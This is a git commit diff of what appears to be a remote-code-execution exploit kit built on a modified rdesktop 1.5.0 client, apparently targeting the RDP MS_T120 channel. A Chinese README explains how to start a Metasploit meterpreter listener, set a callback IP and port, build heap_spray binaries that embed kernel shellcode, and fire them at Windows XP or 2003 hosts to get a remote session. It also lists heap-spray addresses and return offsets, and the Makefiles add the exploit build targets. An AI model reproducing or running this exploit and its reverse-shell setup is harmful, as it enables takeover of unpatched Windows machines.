first commit

README.md

@@ -0,0 +1,33 @@
+1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
+2. cd rdesktop-1.5.0 && make 
+3. 修改config，配置回连ip和端口
+	192.168.116.133
+	6000
+4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址，内存大于等于2G)
+5. msfconsole meterpreter 会得到session
+
+ps:
+shellcode/shellcode.asm 是内核shellcode源码，编译以后转成二进制，就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了，make的时候会直接编译进程序。
+
+目前仅支持xp，需要xp的内存 >= 2G
+
+如果需要支持2003，需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址，经过反复测试，这个地址在03的不同系统版本，不同内存大小是不一样的。但是如果要测试
+自己的机器的话，是可以成功在03上利用。不具备通用性。
+heap_spray.c 
+#ifdef _2003
+#define HEAP_SPRAY_ADDRESS 0x953b09c0				//需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
+#define IcaChannelInputInternal_RET_OFFSET 0x268
+#else
+#define IcaChannelInputInternal_RET_OFFSET 0x274
+#define HEAP_SPRAY_ADDRESS 0x88c969c0
+#endif
+
+测试03
+
+1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
+2. cd rdesktop-1.5.0 && make 
+3. 修改config，配置回连ip和端口
+	192.168.116.133
+	6000
+4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址，内存大于等于2G)
+5. msfconsole meterpreter 会得到session

rdesktop-1.5.0/.cvsignore

@@ -0,0 +1,8 @@
+rdesktop
+rdp2vnc
+autom4te.cache
+Makefile
+config.log
+config.status
+configure
+rdesktop*.tar.gz

rdesktop-1.5.0/Makefile

@@ -0,0 +1,170 @@
+#
+# rdesktop: A Remote Desktop Protocol client
+# Makefile.in
+# Copyright (C) Matthew Chapman 1999-2005
+#
+
+prefix      = /usr/local
+exec_prefix = ${prefix}
+bindir      = ${exec_prefix}/bin
+mandir      = ${prefix}/share/man
+datadir     = ${prefix}/share
+
+VERSION     = 1.5.0
+KEYMAP_PATH = $(datadir)/rdesktop/keymaps/
+
+CC          = gcc
+INSTALL     = /usr/bin/install -c
+CFLAGS      = -g -Wall -I/usr/include  -DPACKAGE_NAME=\"rdesktop\" -DPACKAGE_TARNAME=\"rdesktop\" -DPACKAGE_VERSION=\"1.5.0\" -DPACKAGE_STRING=\"rdesktop\ 1.5.0\" -DPACKAGE_BUGREPORT=\"\" -DPACKAGE_URL=\"\" -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DL_ENDIAN=1 -DHAVE_SYS_SELECT_H=1 -DHAVE_LOCALE_H=1 -DHAVE_LANGINFO_H=1 -Dssldir=\"/usr\" -DEGD_SOCKET=\"/var/run/egd-pool\" -DWITH_RDPSND=1 -DHAVE_DIRENT_H=1 -DHAVE_DIRFD=1 -DHAVE_DECL_DIRFD=1 -DHAVE_ICONV_H=1 -DHAVE_ICONV=1 -DICONV_CONST= -DHAVE_SYS_VFS_H=1 -DHAVE_SYS_STATVFS_H=1 -DHAVE_SYS_STATFS_H=1 -DHAVE_SYS_PARAM_H=1 -DHAVE_SYS_MOUNT_H=1 -DSTAT_STATVFS=1 -DHAVE_STRUCT_STATVFS_F_NAMEMAX=1 -DHAVE_STRUCT_STATFS_F_NAMELEN=1 -DHAVE_MNTENT_H=1 -DHAVE_SETMNTENT=1 -DKEYMAP_PATH=\"$(KEYMAP_PATH)\"
+_2003_CFLAGS      = -g -Wall -I/usr/include  -DPACKAGE_NAME=\"rdesktop\" -DPACKAGE_TARNAME=\"rdesktop\" -DPACKAGE_VERSION=\"1.5.0\" -DPACKAGE_STRING=\"rdesktop\ 1.5.0\" -DPACKAGE_BUGREPORT=\"\" -DPACKAGE_URL=\"\" -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DL_ENDIAN=1 -DHAVE_SYS_SELECT_H=1 -DHAVE_LOCALE_H=1 -DHAVE_LANGINFO_H=1 -Dssldir=\"/usr\" -DEGD_SOCKET=\"/var/run/egd-pool\" -DWITH_RDPSND=1 -DHAVE_DIRENT_H=1 -DHAVE_DIRFD=1 -DHAVE_DECL_DIRFD=1 -DHAVE_ICONV_H=1 -DHAVE_ICONV=1 -DICONV_CONST= -DHAVE_SYS_VFS_H=1 -DHAVE_SYS_STATVFS_H=1 -DHAVE_SYS_STATFS_H=1 -DHAVE_SYS_PARAM_H=1 -DHAVE_SYS_MOUNT_H=1 -DSTAT_STATVFS=1 -DHAVE_STRUCT_STATVFS_F_NAMEMAX=1 -DHAVE_STRUCT_STATFS_F_NAMELEN=1 -DHAVE_MNTENT_H=1 -DHAVE_SETMNTENT=1 -DKEYMAP_PATH=\"$(KEYMAP_PATH)\" -D_2003=1
+LDFLAGS     =   -L/usr/lib -lcrypto -lX11 -liconv
+STRIP       = strip
+
+TARGETS     = rdesktop heap_spray _2003_heap_spray
+VNCINC      = 
+LDVNC       = 
+VNCLINK     = 
+SOUNDOBJ    = rdpsnd.o rdpsnd_oss.o
+
+RDPOBJ   = mst120.o tcp.o iso.o mcs.o secure.o licence.o rdp.o orders.o bitmap.o cache.o rdp5.o channels.o rdpdr.o serial.o printer.o disk.o parallel.o printercache.o mppc.o pstcache.o lspci.o seamless.o
+HEAPOBJ   = heap_spray.o tcp.o iso.o mcs.o secure.o licence.o rdp.o orders.o bitmap.o cache.o rdp5.o channels.o rdpdr.o serial.o printer.o disk.o parallel.o printercache.o mppc.o pstcache.o lspci.o seamless.o
+X11OBJ   = rdesktop.o xwin.o xkeymap.o ewmhints.o xclip.o cliprdr.o
+VNCOBJ   = vnc/rdp2vnc.o vnc/vnc.o vnc/xkeymap.o vnc/x11stubs.o
+
+.PHONY: all
+all: $(TARGETS)
+
+rdesktop: $(X11OBJ) $(SOUNDOBJ) $(RDPOBJ)
+	$(CC) $(CFLAGS) -o rdesktop $(X11OBJ) $(SOUNDOBJ) $(RDPOBJ) $(LDFLAGS) -lX11 -lpthread
+heap_spray: $(X11OBJ) $(SOUNDOBJ) $(HEAPOBJ)
+	rm -rf heap_spray.o
+	$(CC) $(CFLAGS) -c heap_spray.c -o heap_spray.o
+	$(CC) $(CFLAGS) -o heap_spray $(X11OBJ) $(SOUNDOBJ) $(HEAPOBJ) $(LDFLAGS) -lX11 -lpthread 
+_2003_heap_spray: $(X11OBJ) $(SOUNDOBJ) $(HEAPOBJ)
+	rm -rf heap_spray.o
+	$(CC) $(_2003_CFLAGS) -c heap_spray.c -o heap_spray.o
+	$(CC) $(_2003_CFLAGS) -o _2003_heap_spray $(X11OBJ) $(SOUNDOBJ) $(HEAPOBJ) $(LDFLAGS) -lX11 -lpthread 
+
+rdp2vnc: $(VNCOBJ) $(SOUNDOBJ) $(RDPOBJ) 
+	$(VNCLINK) $(CFLAGS) -o rdp2vnc $(VNCOBJ) $(SOUNDOBJ) $(RDPOBJ) $(LDFLAGS) $(LDVNC)
+
+vnc/rdp2vnc.o: rdesktop.c
+	$(CC) $(CFLAGS) $(VNCINC) -DRDP2VNC -o vnc/rdp2vnc.o -c rdesktop.c
+
+vnc/vnc.o: vnc/vnc.c
+	$(CC) $(CFLAGS) $(VNCINC) -DRDP2VNC -o vnc/vnc.o -c vnc/vnc.c
+
+vnc/xkeymap.o: xkeymap.c
+	$(CC) $(CFLAGS) $(VNCINC) -DRDP2VNC -o vnc/xkeymap.o -c xkeymap.c
+
+vnc/x11stubs.o: vnc/x11stubs.c
+	$(CC) $(CFLAGS) $(VNCINC) -o vnc/x11stubs.o -c vnc/x11stubs.c
+
+.PHONY: install
+install: installbin installkeymaps installman
+
+.PHONY: installbin
+installbin: rdesktop
+	mkdir -p $(DESTDIR)$(bindir)
+	$(INSTALL) rdesktop $(DESTDIR)$(bindir)
+	$(STRIP) $(DESTDIR)$(bindir)/rdesktop
+	chmod 755 $(DESTDIR)$(bindir)/rdesktop
+
+.PHONY: installman
+installman: doc/rdesktop.1
+	mkdir -p $(DESTDIR)$(mandir)/man1
+	cp doc/rdesktop.1 $(DESTDIR)$(mandir)/man1
+	chmod 644 $(DESTDIR)$(mandir)/man1/rdesktop.1
+
+.PHONY: installkeymaps
+installkeymaps:
+	mkdir -p $(DESTDIR)$(KEYMAP_PATH)
+# Prevent copying the CVS directory
+	cp keymaps/?? keymaps/??-?? $(DESTDIR)$(KEYMAP_PATH)
+	cp keymaps/common $(DESTDIR)$(KEYMAP_PATH)
+	cp keymaps/modifiers $(DESTDIR)$(KEYMAP_PATH)
+	chmod 644 $(DESTDIR)$(KEYMAP_PATH)/*
+
+.PHONY: proto
+proto:
+	cat proto.head > proto.h
+	cproto -DMAKE_PROTO \
+	bitmap.c cache.c channels.c cliprdr.c disk.c mppc.c ewmhints.c	\
+	iso.c licence.c mcs.c orders.c parallel.c printer.c printercache.c \
+	pstcache.c rdesktop.c rdp5.c rdp.c rdpdr.c rdpsnd.c rdpsnd_oss.c \
+	secure.c serial.c tcp.c xclip.c xkeymap.c xwin.c lspci.c seamless.c >> proto.h
+	cat proto.tail >> proto.h
+
+.PHONY: clean
+clean:
+	rm -f *.o *~ vnc/*.o vnc/*~ rdesktop rdp2vnc heap_spray _2003_heap_spray
+
+.PHONY: distclean
+distclean: clean
+	rm -rf autom4te.cache config.log config.status Makefile
+
+.PHONY: dist
+dist: rdesktop-$(VERSION).tar.gz
+
+rdesktop-$(VERSION).tar.gz: Makefile configure
+	mkdir -p /tmp/rdesktop-make-dist-dir
+	ln -sf `pwd` /tmp/rdesktop-make-dist-dir/rdesktop-$(VERSION)
+	(cd /tmp/rdesktop-make-dist-dir; \
+	tar zcvf rdesktop-$(VERSION)/rdesktop-$(VERSION).tar.gz \
+	rdesktop-$(VERSION)/COPYING \
+	rdesktop-$(VERSION)/README \
+	rdesktop-$(VERSION)/configure \
+	rdesktop-$(VERSION)/configure.ac \
+	rdesktop-$(VERSION)/config.sub \
+	rdesktop-$(VERSION)/config.guess \
+	rdesktop-$(VERSION)/bootstrap \
+	rdesktop-$(VERSION)/install-sh \
+	rdesktop-$(VERSION)/Makefile.in \
+	rdesktop-$(VERSION)/rdesktop.spec \
+	rdesktop-$(VERSION)/*.c \
+	rdesktop-$(VERSION)/*.h \
+	rdesktop-$(VERSION)/proto.head \
+	rdesktop-$(VERSION)/proto.tail \
+	rdesktop-$(VERSION)/keymaps/?? \
+	rdesktop-$(VERSION)/keymaps/??-?? \
+	rdesktop-$(VERSION)/keymaps/common \
+	rdesktop-$(VERSION)/keymaps/modifiers \
+	rdesktop-$(VERSION)/keymaps/convert-map \
+	rdesktop-$(VERSION)/doc/HACKING \
+	rdesktop-$(VERSION)/doc/AUTHORS \
+	rdesktop-$(VERSION)/doc/TODO \
+	rdesktop-$(VERSION)/doc/ChangeLog \
+	rdesktop-$(VERSION)/doc/keymapping.txt \
+	rdesktop-$(VERSION)/doc/keymap-names.txt \
+	rdesktop-$(VERSION)/doc/ipv6.txt \
+	rdesktop-$(VERSION)/doc/licensing.txt \
+	rdesktop-$(VERSION)/doc/patches.txt \
+	rdesktop-$(VERSION)/doc/redirection.txt \
+	rdesktop-$(VERSION)/doc/rdesktop.1 )
+	rm -rf /tmp/rdesktop-make-dist-dir
+
+.PHONY: dist-noversion
+dist-noversion: rdesktop.tar.gz
+
+rdesktop.tar.gz: rdesktop-$(VERSION).tar.gz
+	mkdir -p /tmp/rdesktop-make-dist-dir
+	tar zxvf $< -C /tmp/rdesktop-make-dist-dir
+	mv /tmp/rdesktop-make-dist-dir/rdesktop-$(VERSION) /tmp/rdesktop-make-dist-dir/rdesktop
+	ls /tmp/rdesktop-make-dist-dir/rdesktop
+	tar zcvf $@ -C /tmp/rdesktop-make-dist-dir rdesktop
+	rm -rf /tmp/rdesktop-make-dist-dir
+
+Makefile: Makefile.in configure
+	./config.status
+
+configure: configure.ac
+	./bootstrap
+
+.SUFFIXES:
+.SUFFIXES: .c .o
+
+.c.o:
+	$(CC) $(CFLAGS) -o $@ -c $<
+
+re:
+	rm -rf mst120.c heap_spray.c cf517d077e9c152120787eb6b251615b

rdesktop-1.5.0/Makefile.in

@@ -0,0 +1,158 @@
+#
+# rdesktop: A Remote Desktop Protocol client
+# Makefile.in
+# Copyright (C) Matthew Chapman 1999-2005
+#
+
+prefix      = @prefix@
+exec_prefix = @exec_prefix@
+bindir      = @bindir@
+mandir      = @mandir@
+datadir     = @datadir@
+
+VERSION     = @PACKAGE_VERSION@
+KEYMAP_PATH = $(datadir)/rdesktop/keymaps/
+
+CC          = @CC@
+INSTALL     = @INSTALL@
+CFLAGS      = @CFLAGS@ @X_CFLAGS@ @DEFS@ -DKEYMAP_PATH=\"$(KEYMAP_PATH)\"
+LDFLAGS     = @LDFLAGS@ @LIBS@ @X_LIBS@ @X_EXTRA_LIBS@
+STRIP       = @STRIP@
+
+TARGETS     = rdesktop @RDP2VNCTARGET@
+VNCINC      = @VNCINC@
+LDVNC       = @LDVNC@
+VNCLINK     = @VNCLINK@
+SOUNDOBJ    = @SOUNDOBJ@
+
+RDPOBJ   = tcp.o iso.o mcs.o secure.o licence.o rdp.o orders.o bitmap.o cache.o rdp5.o channels.o rdpdr.o serial.o printer.o disk.o parallel.o printercache.o mppc.o pstcache.o lspci.o seamless.o
+X11OBJ   = rdesktop.o xwin.o xkeymap.o ewmhints.o xclip.o cliprdr.o
+VNCOBJ   = vnc/rdp2vnc.o vnc/vnc.o vnc/xkeymap.o vnc/x11stubs.o
+
+.PHONY: all
+all: $(TARGETS)
+
+rdesktop: $(X11OBJ) $(SOUNDOBJ) $(RDPOBJ)
+	$(CC) $(CFLAGS) -o rdesktop $(X11OBJ) $(SOUNDOBJ) $(RDPOBJ) $(LDFLAGS) -lX11
+
+rdp2vnc: $(VNCOBJ) $(SOUNDOBJ) $(RDPOBJ) 
+	$(VNCLINK) $(CFLAGS) -o rdp2vnc $(VNCOBJ) $(SOUNDOBJ) $(RDPOBJ) $(LDFLAGS) $(LDVNC)
+
+vnc/rdp2vnc.o: rdesktop.c
+	$(CC) $(CFLAGS) $(VNCINC) -DRDP2VNC -o vnc/rdp2vnc.o -c rdesktop.c
+
+vnc/vnc.o: vnc/vnc.c
+	$(CC) $(CFLAGS) $(VNCINC) -DRDP2VNC -o vnc/vnc.o -c vnc/vnc.c
+
+vnc/xkeymap.o: xkeymap.c
+	$(CC) $(CFLAGS) $(VNCINC) -DRDP2VNC -o vnc/xkeymap.o -c xkeymap.c
+
+vnc/x11stubs.o: vnc/x11stubs.c
+	$(CC) $(CFLAGS) $(VNCINC) -o vnc/x11stubs.o -c vnc/x11stubs.c
+
+.PHONY: install
+install: installbin installkeymaps installman
+
+.PHONY: installbin
+installbin: rdesktop
+	mkdir -p $(DESTDIR)$(bindir)
+	$(INSTALL) rdesktop $(DESTDIR)$(bindir)
+	$(STRIP) $(DESTDIR)$(bindir)/rdesktop
+	chmod 755 $(DESTDIR)$(bindir)/rdesktop
+
+.PHONY: installman
+installman: doc/rdesktop.1
+	mkdir -p $(DESTDIR)$(mandir)/man1
+	cp doc/rdesktop.1 $(DESTDIR)$(mandir)/man1
+	chmod 644 $(DESTDIR)$(mandir)/man1/rdesktop.1
+
+.PHONY: installkeymaps
+installkeymaps:
+	mkdir -p $(DESTDIR)$(KEYMAP_PATH)
+# Prevent copying the CVS directory
+	cp keymaps/?? keymaps/??-?? $(DESTDIR)$(KEYMAP_PATH)
+	cp keymaps/common $(DESTDIR)$(KEYMAP_PATH)
+	cp keymaps/modifiers $(DESTDIR)$(KEYMAP_PATH)
+	chmod 644 $(DESTDIR)$(KEYMAP_PATH)/*
+
+.PHONY: proto
+proto:
+	cat proto.head > proto.h
+	cproto -DMAKE_PROTO \
+	bitmap.c cache.c channels.c cliprdr.c disk.c mppc.c ewmhints.c	\
+	iso.c licence.c mcs.c orders.c parallel.c printer.c printercache.c \
+	pstcache.c rdesktop.c rdp5.c rdp.c rdpdr.c rdpsnd.c rdpsnd_oss.c \
+	secure.c serial.c tcp.c xclip.c xkeymap.c xwin.c lspci.c seamless.c >> proto.h
+	cat proto.tail >> proto.h
+
+.PHONY: clean
+clean:
+	rm -f *.o *~ vnc/*.o vnc/*~ rdesktop rdp2vnc
+
+.PHONY: distclean
+distclean: clean
+	rm -rf autom4te.cache config.log config.status Makefile
+
+.PHONY: dist
+dist: rdesktop-$(VERSION).tar.gz
+
+rdesktop-$(VERSION).tar.gz: Makefile configure
+	mkdir -p /tmp/rdesktop-make-dist-dir
+	ln -sf `pwd` /tmp/rdesktop-make-dist-dir/rdesktop-$(VERSION)
+	(cd /tmp/rdesktop-make-dist-dir; \
+	tar zcvf rdesktop-$(VERSION)/rdesktop-$(VERSION).tar.gz \
+	rdesktop-$(VERSION)/COPYING \
+	rdesktop-$(VERSION)/README \
+	rdesktop-$(VERSION)/configure \
+	rdesktop-$(VERSION)/configure.ac \
+	rdesktop-$(VERSION)/config.sub \
+	rdesktop-$(VERSION)/config.guess \
+	rdesktop-$(VERSION)/bootstrap \
+	rdesktop-$(VERSION)/install-sh \
+	rdesktop-$(VERSION)/Makefile.in \
+	rdesktop-$(VERSION)/rdesktop.spec \
+	rdesktop-$(VERSION)/*.c \
+	rdesktop-$(VERSION)/*.h \
+	rdesktop-$(VERSION)/proto.head \
+	rdesktop-$(VERSION)/proto.tail \
+	rdesktop-$(VERSION)/keymaps/?? \
+	rdesktop-$(VERSION)/keymaps/??-?? \
+	rdesktop-$(VERSION)/keymaps/common \
+	rdesktop-$(VERSION)/keymaps/modifiers \
+	rdesktop-$(VERSION)/keymaps/convert-map \
+	rdesktop-$(VERSION)/doc/HACKING \
+	rdesktop-$(VERSION)/doc/AUTHORS \
+	rdesktop-$(VERSION)/doc/TODO \
+	rdesktop-$(VERSION)/doc/ChangeLog \
+	rdesktop-$(VERSION)/doc/keymapping.txt \
+	rdesktop-$(VERSION)/doc/keymap-names.txt \
+	rdesktop-$(VERSION)/doc/ipv6.txt \
+	rdesktop-$(VERSION)/doc/licensing.txt \
+	rdesktop-$(VERSION)/doc/patches.txt \
+	rdesktop-$(VERSION)/doc/redirection.txt \
+	rdesktop-$(VERSION)/doc/rdesktop.1 )
+	rm -rf /tmp/rdesktop-make-dist-dir
+
+.PHONY: dist-noversion
+dist-noversion: rdesktop.tar.gz
+
+rdesktop.tar.gz: rdesktop-$(VERSION).tar.gz
+	mkdir -p /tmp/rdesktop-make-dist-dir
+	tar zxvf $< -C /tmp/rdesktop-make-dist-dir
+	mv /tmp/rdesktop-make-dist-dir/rdesktop-$(VERSION) /tmp/rdesktop-make-dist-dir/rdesktop
+	ls /tmp/rdesktop-make-dist-dir/rdesktop
+	tar zcvf $@ -C /tmp/rdesktop-make-dist-dir rdesktop
+	rm -rf /tmp/rdesktop-make-dist-dir
+
+Makefile: Makefile.in configure
+	./config.status
+
+configure: configure.ac
+	./bootstrap
+
+.SUFFIXES:
+.SUFFIXES: .c .o
+
+.c.o:
+	$(CC) $(CFLAGS) -o $@ -c $<
+